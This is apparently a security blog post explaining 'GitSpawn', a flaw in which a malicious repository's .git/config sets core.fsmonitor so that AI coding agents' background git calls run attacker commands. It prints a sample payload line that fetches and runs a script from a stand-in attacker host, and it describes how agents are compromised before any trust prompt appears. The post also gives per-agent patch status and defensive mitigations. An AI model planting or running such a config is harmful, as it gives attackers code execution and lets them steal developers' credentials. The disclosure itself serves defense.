Researchers at Manifold Security disclosed a vulnerability class this week called GitSpawn, and it’s the kind of finding that makes you re-read your agent’s tool-call log with new suspicion. The bug isn’t in a model, a prompt template, or a sandbox escape technique. It’s in a Git performance setting that’s been sitting in plain sight for years: core.fsmonitor. Claude Code, OpenAI Codex, Cursor, Grok Build, Goose, Hermes Agent, and Qwen Code were all affected in some form. Some are patched. Several, as of this writing, are not.

The reason this one is worth slowing down for isn’t the CVE count — it’s the delivery mechanism. This is remote code execution that fires before your agent has read a single line of your prompt.

The mechanism, precisely

Git has a feature called the filesystem monitor. Instead of walking every file on disk to figure out what changed, Git can delegate that question to an external helper program and cache the answer. You configure the helper with core.fsmonitor, and critically, that setting can live inside a repository’s own .git/config file — not just your global ~/.gitconfig.

Here’s the payload shape:

# .git/config inside a malicious repo
[core]
    fsmonitor = "curl -s https://attacker.example/stage2 | sh"

Any Git command that refreshes the index will invoke that command with your privileges, on your host, outside any sandbox the agent might otherwise enforce:

git status --porcelain=2 --branch   # triggers it
git diff --name-only HEAD           # triggers it
git diff                            # triggers it — this is what Goose uses for code review

Now connect that to how coding agents actually work. Every agent I know of — Claude Code included — runs background git calls constantly to build context: what branch am I on, what’s staged, what changed since the last commit. Some agents run this before you’ve typed anything, before a workspace-trust prompt has even appeared, before you’ve authenticated. If the repository you just unzipped, copied from a shared drive, or pulled off a USB stick already has a .git directory sitting inside it, the payload is live the instant the agent’s first background git status runs.

There’s no approval dialog. Nothing appears in the transcript that looks like a tool call gone wrong. From the agent’s perspective, it just ran git status, exactly as it always does.

The one thing that limits blast radius

There’s a specific, narrow gate here worth understanding, because it shapes your mitigation: the repository has to arrive as files with .git already inside it. A normal git clone from a remote doesn’t reproduce this — clone re-derives the working tree and doesn’t carry over an attacker-supplied .git/config the same way. The actual vectors are the ones that feel mundane: a zipped repo attached to an email or Slack message, a “here’s the project” folder handed over on a shared drive, an archived snapshot pulled from an internal artifact store, a USB drive at a conference. Anything where the .git directory rides along intact.

That narrows the population of “at risk” actions to something concrete: don’t treat an unzipped folder the same way you treat a git clone URL. That distinction currently lives nowhere in most engineers’ mental model of trust, which is exactly why it’s dangerous.

Where each agent actually stands

The disclosure timeline (Manifold Security’s tracking, as reported) is uneven enough that “which tools are safe” isn’t a single answer:

AgentReportedStatus
Claude Code (core.fsmonitor path)26 Jun 2026Patched — v2.1.196
Claude Code (ultrareview variant)15 Jul 2026Unpatched as of v2.1.252
Goose13 Jul 2026Patched — v1.44.0, CVE-2026-72718
Hermes Agent20 Jul 2026Unpatched as of v0.21.0, CVE-2026-71963
Qwen Code7 Jul 2026Unpatched as of v0.22.3
Grok Build14 Jul 2026Unpatched as of v1.0.13

Two things stand out. First, Claude Code shipped a fix for the original vector but a related variant (ultrareview) is a separate, still-open finding — patching the specific config key doesn’t close the class of bug, it closes one instance of it. Second, “patched” here means the vendor sanitizes or disables the config key during background context calls, not that Git itself changed. This is a per-product mitigation, not an upstream fix, so every agent vendor has to independently decide to do the work.

What this actually costs you if it lands

Once the command executes, you’re not looking at a scoped compromise. It runs as the logged-in developer, which on a typical workstation means:

  • SSH keys and any cloud credentials sitting in the environment or config files
  • Every token in your shell profile (.bashrc, .zshrc, CI tool configs)
  • Every repository checked out on that machine, including ones with write access to production infra
  • A working foothold for lateral movement, no different from a phishing payload that got a shell — except this one arrived disguised as “please review this codebase”

If your agent workflow includes cloning or opening repos supplied by anyone outside your immediate team — contractor handoffs, vendor SDK samples, “here’s a repro” bug reports, conference demo code — this is now part of your threat model whether you’ve decided that or not.

What to actually do about it

If you’re consuming these tools, not building them, your mitigation is narrower than the vendor’s, but it’s real and it’s cheap:

# Before opening any repo that arrived as a folder/archive rather than a fresh clone:
cat path/to/repo/.git/config | grep -i fsmonitor

# If you must open untrusted repos with an agent regularly, force-disable
# the monitor at the global level so a repo-local config can't re-enable it:
git config --global core.fsmonitor false
git config --global --add safe.directory '*'   # audit this separately — don't cargo-cult it

If you’re building or operating an agent product, the fix Manifold recommends is the right shape: sanitize repository-controlled Git configuration on every context-gathering call your product makes in the background, explicitly, per invocation —

git -c core.fsmonitor=false -c core.hooksPath=/dev/null status --porcelain=2 --branch

— rather than trusting that the repo’s own config is inert. The -c flag override wins over anything baked into .git/config, and it costs nothing in the hot path. Note the hooksPath addition: core.fsmonitor is the disclosed vector, but the underlying category — “background Git operations executing repository-supplied configuration before the user has made a trust decision” — plausibly extends to hooks and other config-driven command execution points. If you’re patching one, audit the others while you’re in there.

The lesson that outlasts this specific CVE

The interesting failure here isn’t a sandbox that leaked — most of these agents’ sandboxes worked exactly as designed. The failure is that “gather context” and “execute untrusted input” turned out to be the same action, and nobody had drawn a line between them because Git config has never been treated as an attack surface in developer tooling. It’s infrastructure, not input. That assumption held for two decades because nothing was reading .git/config and immediately acting on it at machine speed, unattended, before a human had looked at the repository at all.

Agentic tooling changes that assumption everywhere, not just in Git. Any file format your agent parses automatically, in the background, before you’ve reviewed the source — lockfiles, CI config, editor settings, MCP server manifests — is now a candidate for the same class of bug: config that was designed to be trusted because a human was assumed to be in the loop before it took effect. If you’re running agents against code from outside your org, the actual audit question isn’t “is this repo safe” — it’s “what does my agent read automatically before I’ve seen it, and does any of that get executed.”

Sources:

Export for reading

Comments